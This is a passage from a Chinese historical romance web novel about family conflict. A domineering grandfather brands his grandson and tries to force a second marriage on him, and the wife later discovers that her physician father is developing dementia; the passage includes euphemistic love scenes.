碧荷道:“奴婢一会儿拿给蕊儿她们分了去。这小花篮奴婢擦洗干净,再给姑娘摆到原处?” 慕容鸾音顿了顿,轻点一下头。 待得茯苓提回糕点,地上便有了积雪,天也黑了,冬青带着几个二等丫头把院子里的灯都点亮,嬉闹着堆了一个圆头圆脑的小雪人出来。 那株红山茶早已盛开,许是知道她最爱它,彼时虽被白雪压头,却迎寒盛放。但随着它头上的雪越来越多,越来越重,终究是支撑不住,断头落地。 山茶就是这样的品性,它凋零时,不像其他花朵那样,一瓣一瓣凋零,而是整朵整朵的掉。 落英缤纷的景象多美呀,偏偏山茶没有此景,她以前觉得这是山茶的憾事,但现在她真正懂了山茶的决绝。 慕容鸾音喝一口热热的桂圆茶驱散窗外吹来的风雪,道:“把窗户关上吧。” 碧荷已是剥了一小碗橘子瓣,闻言想也没想就笑道:“姑娘难道不是在等世子爷吗?” “不是。我知道他今夜,明夜,往后小半个月都不会来。因为,明日是腊月初八,是他母亲的祭日,腊月十五是他父亲的祭日。” 碧荷轻拍自己额头一下,直起腰身把插着银叉子的玛瑙碗递过去就道:“姑娘先吃着,奴婢这就把窗户关上。” 慕容鸾音接过玛瑙碗,闻着橘子解腻的清香,顿觉口舌生津,捏起银叉子就往嘴里送了一瓣。 却在此时,漫天飞雪中走来一个人,高束发髻,插戴着翡翠竹节簪,身披深蓝鹤氅,脚踏皂靴,瑰姿俊美,面如冠玉。 碧荷大喜,连忙看向慕容鸾音,却见她嘴里含着一瓣橘子,要吐不吐,芙蓉玉 面皱做一团,一点也没瞧见外头来人。 碧荷会心一笑,没声张,把窗户一关,悄悄下榻,避了出去。 慕容鸾音才费力把那瓣酸橘子咽下去,瞧见碧荷下榻向外走,目光追着她道:“你做什么去,再给我剥一个甜橘子呀。” 冷不丁,却见萧远峥顶着一头一肩的雪走了进来,顿时惊的她杏眼圆睁。 萧远峥脱下鹤氅往罗汉床上一扔,拨开珍珠帘大步走向慕容鸾音,俯身与她对视,星目幽深隐炽。 慕容鸾音的心跳蓦地乱了,被他这样看着,不知怎的有些怕,不敢与他长久的对视,可身子却为他酥软起来。 “你、你怎么会来?” “我们要生个嫡长子出来,越快越好。” “啊……” 未等慕容鸾音反应过来,他拿走她手上捧的玛瑙碗放在炕几上,就压了下去。 慕容鸾音倒在熏笼上,搂着他脖子笑道:“别把我的熏笼压坏了。” “别管。” 北风呼号着,把覆盖在山茶花上的积雪吹散了,枝条漫舞,红花得了喘息之机,昂头盛放。 慕容鸾音察觉到他的焦躁不安,心中隐隐明了,想着今宵有酒今宵醉,就极致热情的缠在他身上。他亦要她吐出小舌,他衔住深吻,恨不能吞入腹中。 子夜时分,窗棂半开,二人共裹一条绣被,倚着熏笼,赏雪,赏红山茶。 萧远峥单手倒出一杯热热的桂圆甜茶递到慕容鸾音嘴边,哄她喝下,就道:“睡吧。” 慕容鸾音已是不能回答,春水一般软在他怀里,惚惚睡了过去。 下了一夜的雪,到得天亮,好似换了人间,银装素裹,好不洁净。采篱园终是传来消息,让他们早食后过去说话。 采篱园中,下人们天蒙蒙亮就起来,清扫出了一条道路。 正堂,廊檐下,挂了两排的鸟笼子,这会儿黑伯正挨个掀起棉套子来,让里头的鸟雀见光,给它们添水添食。 忽见得一个鸟笼子里是空的,连忙对坐在堂上取暖的萧长生道:“主子,您最爱的那只画眉鸟不见了。” 萧长生手内拿着一根长长的铜火棍,正在拨弄脚炉里烧红的炭,闻言就道:“昨夜那鸟儿发疯,叽叽喳喳吵的我睡不着,放生了。” 黑伯禁不住道:“这寒冬腊月的放了它出去,飞不远就冻死了。” “该死就死。你说是不是,淑儿?” 洛淑仪捧着热热的腊八粥送到萧长生面前,赔笑道:“是。那只画眉再得宠又如何,扰得外祖父睡不好觉,就该死。” 黑伯听屋里那对祖孙的对话,嗓子顿时噎住,抬头瞧见萧远峥慕容鸾音一同走了来,就不吱声了。 堂上,萧长生和洛淑仪几乎是一齐看向外头,但见萧远峥身上罩着一件黑狐裘,慕容鸾音身上罩着一件芙蓉红羽纱面,露着白狐毛滚边的披风,一个清冷肃然,一个娇容艳丽。他们虽是一前一后慢慢走来,却步态一致,可分明慕容鸾音的步子小,萧远峥的步子大,怎么会一致呢,那必然是有人迁就了。 萧长生扯扯嘴角,露出一个龇牙切齿的大笑来。 慕容鸾音心里惦念萧长生这个舅外祖,虽是昨日吃了闭门羹,今日仍旧亲自下厨做了一碗莲子羹,用一个小巧的食盒装着,藏在披风底下暖着,提了来。 甫一进门,却见萧长生手里捧着一碗腊八粥在吃,她顿了顿,仍旧把自己做的莲子羹拿了出来,露出乖笑,“舅外祖,我给您熬了一碗莲子羹,甜淡适宜,保证和我祖母熬出来的一模一样,请您品尝。” 说着话,就要走上前去,萧长生缓缓抬起头,死盯慕容鸾音一眼,笑道:“你站那里吧。淑儿。” “是。”洛淑仪从萧长生身后衣袂翩翩走出来,轻笑道:“妹妹,交给我吧。” 慕容鸾音已是知道她的底色,未等她靠近,就径直把小食盒放到了一旁的茶桌上。 洛淑仪面不改色,笑了笑,又退回萧长生身后。 萧长生拄着铜火棍,冷眼看着萧远峥,萧远峥瞥着那根铜火棍,缓缓攥紧了拳头,前胸后背的皮肉控制不住的开始颤抖。 “算算日子,慕容氏嫁进来也有四年了,我问一声,有喜了吗?” 慕容鸾音听了,震惊又难过,立时就道:“舅外祖,你竟然叫我慕容氏?!” 萧长生忽的暴怒,“你闭嘴!” 慕容鸾音顿时吓的一激灵,脸色惨白。 萧远峥死攥着拳头,僵站在那里没吭声。 “四年无子,你就是罪人,我这里没有你说话的份。念在你祖母的份上,不休你,但是我要给峥儿娶个平妻,淑儿正合适,也不用大办,择个良辰吉时,在绛仙阁拜堂成亲,走个过场就罢了。你既然不喜管家,那就退后一步,从此府中中馈交给淑儿,我才放心。” 慕容鸾音慌忙看向萧远峥,却见他额上冷汗涔涔,脸色比她还难看,顿觉孤立无援。 萧长生把他们二人的表情尽收眼底,冷笑连连。 “算你们识相,就这么定了。” “慢着。”慕容鸾音深吸一口气,直视萧长生,冷笑道:“老公爷不必看在我祖母的面子上了,也别委屈了洛表姐,我自请下堂,与萧远峥和离便是,劳烦老公爷把我祖母赠予您的墨玉药兽令牌还给我慕容氏,那是我嫁妆的一部分,从此我们两家的婚姻之盟就此作罢。” 萧长生缓缓举起手中铜火棍指着慕容鸾音,“你到我跟前来,再说一遍。” 萧远峥蓦地用后背挡住那根铜火棍,怒斥慕容鸾音,“慕容氏,这里没有你说话的份,滚回瑞雪堂去。” “我不……” 萧远峥蓦地捂住慕容鸾音的嘴,将她抱出门外,“快滚!” 慕容鸾音眼睛酸胀,蓦地滚下泪来。 这时洛淑仪从后面走出来,含笑拉住慕容鸾音,“阿音妹妹,借一步说话。” 慕容鸾音眼睁睁看着萧远峥关上了堂屋门,这才一抹眼泪,甩开洛淑仪的手向园子外走去。 屋内,萧长生笑吟吟的看着萧远峥,“乖孙,祖父听闻你心里爱的是淑儿,祖父想明白了,所以就想成全你,令乖孙你得偿所愿,哎呦,我的乖孙呦,脸上怎么没有一点笑模样呢,笑一个。” 萧远峥缓缓跪地,咬牙道:“府中流言都是祖母暗中让人散布的,祖父不可当真。何况、何况所谓平妻,都是没规矩的人家弄出来的,不可效仿。” 萧长生握着铜火棍,在火炭上戳来戳去,继续笑道:“为子嗣大计,效仿一回无妨。我翻过黄历了,明日就是个好日子,你就和淑儿拜堂吧,当夜就洞房,我亲自盯着你洞房。” 萧远峥闭了闭眼,再睁开时,坚如磐石。 “除了阿音,我不会再娶任何女人。” “好啊、好啊。”萧长生哈哈大笑,笑的两眼泪流,“我呕心沥血培养的你,文武全才,智计无双,你却用在选妻上。让我捋一捋,你是从什么时候开始筹谋的。是从我写下慕容鸾音和洛淑仪的名字让你圈定妻子人选的时候吗?不是。” 萧长生阴冷的盯着萧远峥,“应当比四年前还早,从你意识到,我痛恨你父亲为你母亲殉情,为了防止你重蹈覆辙,拿烙铁烙你的时候吧,你那时候就有意疏远慕容鸾音了,你那时候才十四五岁吧,慕容鸾音才八九岁吧,哎呦,我哪里能想到。” “不是……” “你闭嘴,让我自己捋顺。”萧长生拄着铜铁棍,脸也搁在自己的手背上,咧嘴笑道:“你知道我不会让你娶你选定的,所以故意圈了洛淑仪,是不是?” 萧远峥僵硬的挺直腰身,垂眸道:“是。” “哈,让我说对了。”萧长生抬起头,像看一件自己最满意的作品一样看着萧远峥,“你还佯装冷落慕容鸾音三年,直到我嘱咐黑彧,让他催促你生嫡长子,你才趁势搬入瑞雪堂,伪装的天衣无缝,还让旁人以为你是为了子嗣,委曲求全,是不是?” “是!” 萧长生兴奋的继续分析,“能忍三年,说明你能忍耐,忍耐潜藏是成大事的必备品质,好!在我让你选妻时,你知道我会防你一手,所以毫不犹豫圈定了洛淑仪,放手一赌,说明你胆大果决,也好!决断的前提是你要摸透我的心思,还有做前期的铺垫,说明你观察入微,沉稳老道,更好了!最后,你成功骗过了我,娶到了心爱的女人,说明你毅力卓绝,心智已经超过我了,好极了!” 彼时,那根一直插在火盆里的铜火棍末端已经烧的通红,萧长生缓缓拔了出来,脸上兴奋的笑容消失的一干二净,取而代之的是毫不掩饰的厌恶和痛恨,“你有这份隐忍和算计,你干什么不好,你用在谋求一个女人上,你太令我失望了!” 第60章 第060章痴情种采篱…… 采篱园外,洛淑仪拦住慕容鸾音的去路,脸上带着一抹大度宽容的笑,“阿音妹妹,你别怕。” 慕容鸾音本不想理她,但一听她说出这样一句怪话来,禁不住就道:“你这话是什么意思,我怕什么,怕你吗?可笑。” “你不同意峥表哥娶我为平妻,不就是怕我们有情人终成眷属后,把你撇在一边,再也没有指望了嘛。”洛淑仪极力压着上扬的唇角,眼睛一眨不眨盯着慕容鸾音,“你放心,待得我们成亲后,每月里我身子不方便的时候,会劝着峥表哥去你院里的,外祖父想要峥表哥子嗣繁茂,只我一个怎么行,咱们姐妹齐心,能生多生,岂不好?” 慕容鸾音气笑了,“洛表姐,你的意思是,他爱的是你?” “你不承认没关系,事实在那里摆着,外祖父让峥表哥选妻时,他圈定的是我。” 慕容鸾音打量她一回,见她脸上竟没有一丝一毫的心虚,想到萧远峥说她擅于伪装,心中不禁发寒,“我现在才知道一个人说起损人利己的谎话来,竟真的能做到脸不红气不喘,以假乱真。他一个断案如神的人,爱你什么,爱你曾经小小年纪就蓄意摔死一个三岁女娃吗?” 洛淑仪脸色顿变,上扬的唇角垂了下去,“你听谁说的?” 慕容鸾音冷笑,“你做下的这桩恶事,除了他还有旁人知道吗?” “他为什么告诉你?!” “你猜去吧。” 洛淑仪捏紧帕子,浑身颤抖,不死心的继续道:“他那样一个秉公执法的人却愿意为我抹除痕迹,正说明他心里爱怜我,认同我为母报仇。他爱的是我,你死心吧!” 慕容鸾音并不与她争辩,而是道:“你执意说他爱的是你,那就是吧。我不管他爱谁,我只知道,我是他妻子一天,就不可能同意他娶你。你想做他的平妻,除非让他与我和离。” 洛淑仪从始至终没在慕容鸾音脸上捕捉到伤心欲绝的表情,未能下蛆成功,心里长久以来堆积的嫉恨一霎暴发,“他不爱我,难道就爱你吗?!你也别痴心妄想,他敬畏外祖父到骨子里,外祖父既让他娶我,他就会娶!就像当初他明明圈定我做他的妻子,却不得不听从外祖父的命令娶你一样!你抢我良缘,毁我一生,我誓要你百倍偿还!” 慕容鸾音听她说完,脑海中似有一个念头一闪而过,喃喃道:“是啊,他到底为什么选你……” 洛淑仪见她终于开始怀疑,心中大喜,“自然是因为我温柔贤淑,擅理中馈,最适合做当家主母,一族宗妇,峥表哥肩负延续家族尊荣的重任,只有我能做好他的贤内助。” 慕容鸾音忽的想到他胸前后背那些烙痕,她曾当着他面推测出是舅外祖烙的,他没有否认,她本以为舅外祖用这样的手段是为了锻造他成才,可现在想来,却透着狠毒怪异。 “不对,不是这样的。” 烙痕……方胜纹烙痕……方胜……为什么偏偏要用方胜纹的烙铁…… 谁偏爱方胜纹来着…… “他父亲!” 他父亲怎么死的…… 她记起来了,祖母曾流着泪说过,他父亲是吐血死的。 他父亲死在他母亲头七那天。 心碎吐血而亡。 是殉情!是殉情! 慕容鸾音忽的想到堂屋内,舅外祖手里一直拄着一根铜火棍,那火棍的末端正是方胜的形状。 想到此处,她的脸顿时煞白,转身就向园内跑去。 洛淑仪终于见她脸色大变,正觉畅快,却又见她转身跑回园子,生怕她寻死觅活不同意,连忙跟了上去。 屋内,萧长生喝令萧远峥脱掉狐裘,露出胸膛,举着烙铁,恨的老眼赤红,道:“你背出来,只要你背出来我常常警告你的那段话,今日就不罚你了。” 萧远峥挺直脊背,垂眸领受。 萧长生见他竟死撑着不言语,顿时又恨又怒,一双老眼中血丝密布,“你说啊!你说:女人只是绵延子嗣的器物,哪个女人让你动了情你就杀哪个!一旦对女人动情,她就会控制你,你会成为她的奴隶!女人是祸水,是害死吾儿的祸害!” 就在这时慕容鸾音闯了进来,惊见萧长生竟真的亲手对萧远峥施刑,大悲大怒,扑了过去,“不要!” 萧长生见慕容鸾音又回来自投罗网,顿时满脸阴鸷,“是她这张小脸蛋媚惑了你吗?” 一切都发生在电光火石之间。 就在萧长生调转烙铁方向对准慕容鸾音时,萧远峥蓦地转身接住扑来的慕容鸾音,将她护在怀里,以自己的后背承接了那烧红的烙铁。 “滋”地一声,就有烧糊衣料的浓烟冒了出来。 慕容鸾音被他严严实实护在胸口处,一霎闻到了肉焦味儿。 “峥哥哥……”慕容鸾音痛哭失声。 萧远峥没吭一声,只是冷汗涔涔的搂紧她。以前受刑时,违背本心背着那段话,只觉身心都扭曲痛苦,而今搂她在怀,听得她哭着喊他“峥哥哥”,竟觉快活。 “我没事,不疼。” 萧长生看着搂抱在一起的两个人,俨然又是一对萧璟谢昭云,可他老了,再也锻造不出一个能撑起萧氏荣耀的萧远峥。 想到他终有一日会重蹈他爹的覆辙,萧长生气的浑身发抖,“没出息的东西!没出息的东西!与其你终有一日会为了一个女人殉情,倒不如我先亲手杀了你!你是我锻造出来的,就该我亲手毁灭!” 萧远峥背对萧长生,慕容鸾音伏在萧远峥怀里,正看见萧长生举起烙铁要砸萧远峥的头,她立时两手护住他后脑,凄声哭喊:“萧长生,你这个懦夫!” 萧长生高举烙铁悬空,震怒,“你说谁是懦夫?!” “我说你,就是你。”慕容鸾音大喘一口气,流着泪道:“我们在西州已经查明,婆母在鲸落楼吃河豚中毒而死,不是意外,而是白玉京设下的圈套。明明是邪教的错,你不想着剿灭邪教为他们夫妻报仇,却一味儿用残酷手段摧残峥哥哥,你、你就是窝里横,你就是懦夫里的懦夫,我看不起你!祖母曾经盛赞你是战场上战无不胜的大将军,是她敬仰爱戴的兄长,我一点没看出来,只觉得你是畏强残弱的懦夫!” 萧长生撕声怒吼,“你放屁,你懂什么,你们什么都不知道!” 吼罢这一句,撂下烙铁,抚着胸口剧烈咳嗽。 慕容鸾音见他咳嗽的仿佛要背过气去,又觉他因痛失爱子心性扭曲可怜,咽喉哽住,泪落如雨。 萧远峥等着适应了脊背上那一片的疼,就放开慕容鸾音,转身跪向萧长生,“祖父,我深知你内心的恐惧,无非是怕白玉京故技重施,我向你保证,我们绝不会重蹈覆辙,我会保护好阿音,我们也会尽快生下嫡长子,请您不要再逼我娶洛淑仪,又或者其他什么女人。你之所以要逼我娶洛淑仪为平妻,无非是要在我和阿音之间插入一根针,造成一段裂痕,是阳谋,可被我识破了就没用了,歇了这番心思吧。” 萧长生咳嗽止住,喘着粗气抓挠自己的手臂,“白玉京无孔不入,你怎么保证她慕容鸾音不会像谢昭云一样死去?” 萧远峥看着慕容鸾音,心弦一霎绷紧,连忙道:“二弟重新布置了府中的防卫,只要阿音呆在内宅,一定不会有事。” 慕容鸾音听了,顿生惊惶,连忙去拽他衣袖。 萧远峥握紧她的手,继续道:“而且,我已掌握了白玉京控制教徒 的一部分手段,只要找到仙主,就能彻底剿灭白玉京,这才是从源头上杜绝的办法。” 萧长生冷笑,把自己手臂抓出一道道的血痕,“想我一个无情的人,呕心沥血,付出一切,竟教出了两个痴情种。若是让我知道慕容鸾音踏出府门一步,峥儿,你是知道我的手段的,是吗?” 萧远峥垂眸应“是”。 “滚吧,快滚!” 话落,就转着轮椅后退,调转方向急匆匆向内室行去。 萧远峥见状,生怕他改变主意,连忙捞起自己的狐裘披在身上,拉着慕容鸾音逃出采篱园,一同回了瑞雪堂。 躲在门旁里听了许久的洛淑仪,眼睁睁看着他们二人远去,只觉得脸上火辣辣的疼,一颗心也似被架到了火堆上炙烤,烧的她恨不能毁天灭地。 彼时,太阳渐渐发威,把铺满大地的雪晒化了一层,倒比下雪时还冷些。 慕容鸾音见他额上沁着冷汗,便把心里的凄惶压下,扶他到暖阁里坐着。当她脱下他的狐裘与衣衫,看向他光裸的后背,就见左肩胛上被烙下了一个血肉模糊的方胜图案。 想到他说过一句“皮肉的疼算什么,早习惯了”,她的心就揪疼起来。 萧远峥感受到背脊上一滴一滴的热泪,转过身来抱她在腿上坐着,轻笑道:“虽说我爱极你哭的眼睛红红的模样,却不在这时候。” 慕容鸾音抽噎一下,不理他的调笑,推一下他的胸膛站起来就道:“转过去,我给你上药。” 一边说着,一边用帕子蘸烈酒为他清理烧伤。 萧远峥“嘶”声吸气。 待得慕容鸾音为他抹上药膏,缠上白布,就被他一把搂到怀里亲起来。 慕容鸾音心里为他疼着,又顾忌着他背上的烧伤,就乖柔的任他索取。 碧荷本想进来问午饭吃什么,手将将伸向珠帘要拨开,忽听见热辣辣的咂吮声,往内一瞧,却见世子爷的手臂掩在她们姑娘蕊红色裙摆下,脸一红急忙退避了出去。 片刻后,萧远峥坐到月牙凳上,一臂环住慕容鸾音的腰臀,按着她挎坐在他腰腹下,一手捧着她娇红起来的脸道:“幼时模糊看见父亲跪在母亲腿间,想着,堂堂男子汉,如何能跪女子,即便那女子是自己的妻子也不行,少年时,偷看避火图,才知他们在做什么。我仍旧撇嘴不屑,可你越长越大,出落的越来越牵动我的心,实在令我渴之如狂。阿音妹妹,我的每一寸血肉都叫嚣着,想要你,只有你。” 慕容鸾音的眼睛鼻头都红了,哽咽落泪,却不想被他看见,脸埋藏到他颈窝里紧贴着蹭弄。待得他感知到她潺潺春水的回应,一霎便化作蛟龙,于春水中纵性冲撞。 那边厢碧荷就急忙吩咐茶房烧水。 茯苓不知屋内情形,只以为是缺了茶水,就道:“炉子上有炖好的,我去提。” 碧荷连忙拦住,“不是喝的水,是洗澡水。” 茯苓一下听懂了,禁不住道:“世子爷不是伤着了吗……” “慎言。” 茯苓见碧荷沉了脸,立马知道自己犯了忌讳,连忙站起身应“是”。 “眼瞅着到午时了,你去大厨房点几样世子爷和姑娘爱吃的吧。” “是。” 谁知,那主子俩过了午时才起来,更衣后,用过饭,太阳就西斜了。 慕容鸾音心中有事,就请他在西次间大榻床上,隔着一张炕几对坐。 萧远峥见她如此郑重其事,就笑道:“何事?” “在采篱园,你说要我呆在内宅是什么意思?是呆一两天,应付老公爷,还是从此以后真的不许我踏出府门?” 萧远峥端起茶盏刚要喝,闻言心头警铃大作,放下茶盏安抚道:“待得我彻底剿灭了白玉京,斩杀了那仙主,你想出门便可带着护卫出门。现下里,只好委屈你。” 慕容鸾音心想,果然是这个结果。 “按你的意思,倘若一年没剿灭白玉京,我一年都不能出门,十年没剿灭白玉京,我十年都不能出门,是吗?可若是白玉京畏惧了你,从此避世不出,等到你百年之后再出来兴风作浪,你也要将我困锁内宅一辈子吗?” 萧远峥一时不能回答,转而哄道:“阿音,自从我父亲死后,祖父就有些偏执,他既然已经退了一步,我们也当退一步,你能否为了我,牺牲一点自由?” 慕容鸾音怔怔看着他,满心凄惶,“我改变了洛淑仪失去生育能力的命运,改变了哥哥惨死的命运,我本以为我也已经改变了自己的命运,可到了此时此刻我却发现,倘若我答应你牺牲自由,我依旧会落得个郁悔而终的结局。所以,我不答应。我现在就要回娘家看望父母,倘若被采篱园的老公爷发现,随他去,大不了就和离。” 萧远峥想到她说过的那个梦境结局,又心疼又生气,“在你的梦境里,你不知道我爱你,所以在内宅呆着胡思乱想,这才导致郁悔而终。可现在你知道了,我炽热的爱着你,你又怎会再郁悔而终。阿音,你不要胡闹,我答应你,会竭尽全力剿灭白玉京,绝不会委屈你太久。” 慕容鸾音听他说“胡闹”两个字,心就灰了,不做无谓的争辩,下榻穿鞋,扭头对窗外就道:“备车,我要回家看望父母。” “不许进来!” 在窗外美人靠上坐着听吩咐的碧荷冬葵,一下子都站了起来。 冬葵自来没有主张,慌忙看向碧荷,张嘴无声询问,“听谁的?” 碧荷也犯难,一时没吭声。倒不是不向着自家姑娘,她是怕自己进去后撞见那主子俩又和好了,又抱在一起亲嘴。 萧远峥抢走慕容鸾音脚上的软底绣鞋塞袖子里,笑道:“你走。” “你可恶!”慕容鸾音泫然欲泣,“你还笑,你在笑什么,笑我拿梦境胡闹吗?还是从骨子里就认为,我嫁给你本该一辈子呆在内宅,做你的贤内助?那你就错了。真真枉费了你一番心机谋我,最合适做你妻子的真该是洛淑仪!” 话落,光着脚就向外走去。 萧远峥连忙拦腰抱起,按到榻上坐着不许她动,拧眉怒道:“再让我听见这样的话,你试试。” “偏要再说,你能拿我怎么样?”慕容鸾音上半身动弹不得,就抬脚踹他胸膛,“你有本事就从早到晚亲自看着我,但凡你去上朝,我就大摇大摆出门去。” “他会杀了你,他真干得出来。”萧远峥任由她踹了两脚,就自己坐下,把她箍在怀里,吻她微微红肿的唇。 慕容鸾音抿着嘴不给亲,身子绷的直直的,眼泪无声而落。 萧远峥实在不舍得,就抚着她脸道:“今日就想回去看望岳父岳母?” 慕容鸾音哭着点头,“嗯,就要今天去。” 萧远峥无奈道:“顶风作案是吧。” 慕容鸾音听出他话音里的妥协,杏眸顿时晶亮起来,殷殷期盼的看着他。 “待我想个瞒天过海的法子。” 约莫一炷香后,萧远峥就带着两个小厮两个护卫出门去了。 却说慕容家这两日也有一番事故。 慕容文博被人当街拽出马车,抢走他腰间佩戴的墨玉药兽佩砸的稀巴烂,还挨了一顿没头没脸的臭骂。 彼时,慕容文博把自己关在祖宗祠堂里,羞愧的谁也不见。 何赛仙问他得罪了谁,他也不说,短短半日功夫嘴里就急出一个疮来。 慕容韫玉怒不可遏,在祠堂门口团团转,“不该啊、不该啊,妹丈如今的官位,头上只一个半截身子埋黄土的老首辅压着,明眼人都知道,妹丈就是下一任首辅,究竟是何人,竟敢当街臭骂首辅的岳父。” 60-70 第61章 第06 1章决绝慕容鸾…… 慕容鸾音哄得萧远峥把她送回慕容家,她一踏入自家垂花门,就把头上戴的小厮毡帽摘下来扔了。 萧远峥见她翻脸,忽的明白过来,脸色微变,一把握住她的手腕,“阿音……” 就在这时何赛仙急匆匆迎了上来,“阿音,你爹爹受辱了。” 慕容鸾音一听,连忙道:“发生了何事?” 萧远峥见岳母神色憔悴,显见是家中有事发生,就松开手,让她们母女二人先说话。 “姑爷来了正好。你们快随我来。” 一时,慕容鸾音萧远峥随着何赛仙到了祠堂门外,就见慕容韫玉正站在门外向门内焦急喊话,“爹,你不吃也不喝,真想把自己饿死不成,饿死了,事情就解决了?咱们慕容家的脸面就能挣回来了?” “哥哥,爹爹怎么了,为什么把自己关在祠堂不吃不喝?” 慕容韫玉回头一看萧远峥来了,连忙走下台阶道:“妹丈,你来的正好,我爹不知得罪了什么人,被人当街拽下马车,砸了家主玉佩,还被一个老婆子臭骂了一顿,我寻思着,你才升官啊,谁不知道我爹是你岳父。” 慕容鸾音见母亲哥哥都只眼巴巴的瞅着萧远峥,心里顿生气恼,想了想道:“爹爹受辱,他不好意思说,当时跟着爹爹的是谁,叫来问问。” 慕容韫玉这才看着慕容鸾音道:“是三七叔,他只听爹的话,爹不让他开口,打死他他也不会说。” 萧远峥就道:“先叫来。” “行。你官位大,能吓唬住他也未可知。” 慕容鸾音心里却想,三七叔是家中世奴,只认家主,未必会怕萧远峥。 “哥哥,爹爹那枚世代传下来的家主药兽佩当真被人砸了?碎片可在?” 慕容韫玉悲愤道:“被砸的稀巴烂,我听到消息赶过去就看见爹跪在人群里,捧着碎末子泪流满面。” 慕容鸾音想到那块家主玉佩代表的意义,顿时眼眶通红,“砸的是玉佩嘛,砸的是我们慕容氏世代医家的招牌和脸面,何其恶毒。” “我自然知道。”慕容韫玉羞愧低头。 这时一个身材瘦长,两眼乌青的中年男人一瘸一拐走了来,跪下就道:“拜见夫人大爷、拜见大姑娘姑爷。” 萧远峥见状就道:“你这一身伤是忠心护主得来的?” 三七不答,跪向祠堂,以头抢地,嘶声哭道:“老爷,你放心,你前脚去了,三七后脚跟上。” 萧远峥一听,便知这不是普通家奴,不可威逼恫吓。 慕容韫玉见萧远峥犯难,就叹气道:“这是我家世奴。” 就在众人都不知该拿他怎么办的时候。 慕容鸾音走到三七面前,抬起手来,手张开,坠下了一块墨玉药兽佩,“三七叔,在慕容家只有我和爹爹的玉佩,是立兽,不同的是,爹爹那块立兽鼻孔下有两条须子,我的这块没有须子,所以爹爹那块是家主佩,而我这一块是继任佩,三七叔必然记得,为什么这块继任佩在我手里。” 三七缓缓抬头,盯着那块在眼前的立兽,一抹眼睛就两手虚捧着,嘶声道:“记得、记得,是大姑娘习得了金针术,祖宗规定,后代子孙,传承了金针术的,才能佩戴墨玉立兽佩,金针术第一的为家主,不论男女。” “是,这是祖宗为了确保慕容氏金针术能一直传承下去定下的规矩。爹爹亲口说过,我的金针术已经超过他了,那么按照祖宗家规,我本该是下任家主,三七叔,你倘若真心为了爹爹,你倘若认我,你就把知道的说出来。” 三七连连点头,“认!有大姑娘这番话,三七说出来就不算违背家主了。” 当即就把自己知道的一点不漏的都说了出来。 三日前,庆和大公主疼爱的长孙腹泻腹痛,就让身边的掌事嬷嬷亲自来请慕容文博过府瞧病,那时慕容文博正吃午饭,就连忙说吃过午饭就去。 谁知半个时辰后,承恩伯府就派了车来接,说府中小公子咳嗽堵痰,急请慕容文博去救治,慕容文博让三七背上医箱就上了承恩伯府的马车。 那边庆和大公主等到黄昏不见慕容文博的影子,就派人来急催,待得知道慕容文博竟然先去了承恩伯府,庆和大公主大怒。 于是,就派人拦截慕容文博的马车,当街羞辱了一顿。 慕容鸾音听后就道:“这、这……爹爹怎能如此办事?” 三七连忙解释道:“不是老爷捧高踩低巴结承恩伯,是老爷忘了。” “忘了?你是说爹爹把庆和大公主府的邀请忘了?” “是。老爷被拽下马车,被大公主府的掌事嬷嬷痛骂哈巴狗的时候,还说不认识那嬷嬷,说那嬷嬷找错人了,那嬷嬷一听气的了不得,就说,午饭的时候才见过,转脸就不认人了,就骂老爷不是东西。” 慕容韫玉急着插嘴,怒道:“你一直跟着,怎么就没想着提醒一句,啊?!” 三七苦着脸道:“我以为老爷是顾虑着咳嗽堵痰那边危急,就先去了承恩伯府,哪里想到老爷是忘了。” 说到这里,三七急忙道:“大姑娘、大爷,老爷近日来多有忘事的时候。大概是五日前,老爷一个在边城军营做医官的弟子期满回京,到医馆看望老爷,老爷竟不认识,那弟子叫刘满园,是老爷比较看重的一个,刘满园一听老爷说不认得他,吓得脸都白了。我提醒了一句,老爷还骂我,执意说不认得,把刘满园撵了出去。还有一回,老爷在医馆坐久了腰疼,不想坐车,说要走着回家,老爷在前面走,我在后面跟着,老爷竟走到了相反的方向。竟仿佛不认得回家的路了。” 何赛仙和慕容韫玉听后,都慌了。 慕容韫玉急道:“爹这是怎么了,醉酒没醒吗?” 慕容鸾音闭目落泪,哽咽道:“病了,咱们家传医书上有记载,痴呆病。” 何赛仙顿时哭道:“我说过他无数次,我说你都手抖捏不住金针了,就把酒戒了吧,他不听,还说不喝酒手更抖,活着都没意思,我没法子,只得随他去了,都是酒水害得他。” 慕容鸾音想到痴呆病的其他症状,连忙道:“哥哥,快让人把门撞开,这个病不能让他一个人呆着,有危险。” 萧远峥一听,主动走到门前,撩起袍子,抬脚踹门。 谁知里头的慕容文博却大喊大叫,“不许进来!不许进来!” “嘭”的一声门开了,慕容文博却涨红脸,慌忙往供桌底下钻。 慕容鸾音急忙入内,“爹爹,爹爹你别怕,你只是病了。” “滚!都滚!” 何赛仙哭着去拉他,“你像什么样子,快出来,咱们有病治病。” 慕容韫玉也去帮忙,“爹,你出来。” 萧远峥却闻到了一股尿骚味,往蒲团上一瞧,就轻扯了一下慕容鸾音的衣袖。 慕容鸾音望着他指的蒲团,一下子明了了,失禁,是痴呆病的病症之一,顷刻间悲从中来,泪落如雨。 “哥哥,我们出去,让阿娘留在这里照顾爹爹。”慕容鸾音一抹脸上泪痕,看向萧远峥,“你随我来。” 萧远峥从她踏入家门扔掉小厮毡帽那一刻,心中就隐隐不安,又见她拿出墨玉药兽佩和世奴说出了那样一番话,而慕容文博又得了这样的病,他心中隐隐的不安便化成了一泻千里的恐慌。 “阿音。”萧远峥蓦地握住她的手腕。 慕容鸾音垂眸望着他紧攥不放的手,轻声道:“松开。到我院子里说话,别在外头闹出来,让下人看笑话就不好了。” 萧远峥只得放手,随她去了她未出嫁时所居的院子。 她的院子是整座慕容府邸第二精致的院子,有三间正房,堂上挂着一块匾额,写着“杏林春暖”四个稚嫩的字,那是她第一次拿针刺穴就感知到气息流动时,慕容文博狂喜大呼,慕容氏金针后继有人,抓着她的小手,和她一起写下的。 慕容鸾音站在厅上,仰头怔怔看了一会儿,就道:“我骗了你。” 萧远峥连忙阻止她说下去,灼热的大掌抓着她两条手臂,“岳父病了,咱们把岳父岳母接到府中照料,你看如何?” 慕容鸾音轻轻摇头,“我回家了,就没打算再回去。峥哥哥,老公爷为何不许我踏出府门,我踏出府门了,他为何要杀我?怕我死了,你会殉情?你会吗?” “你如同我的心脏。” 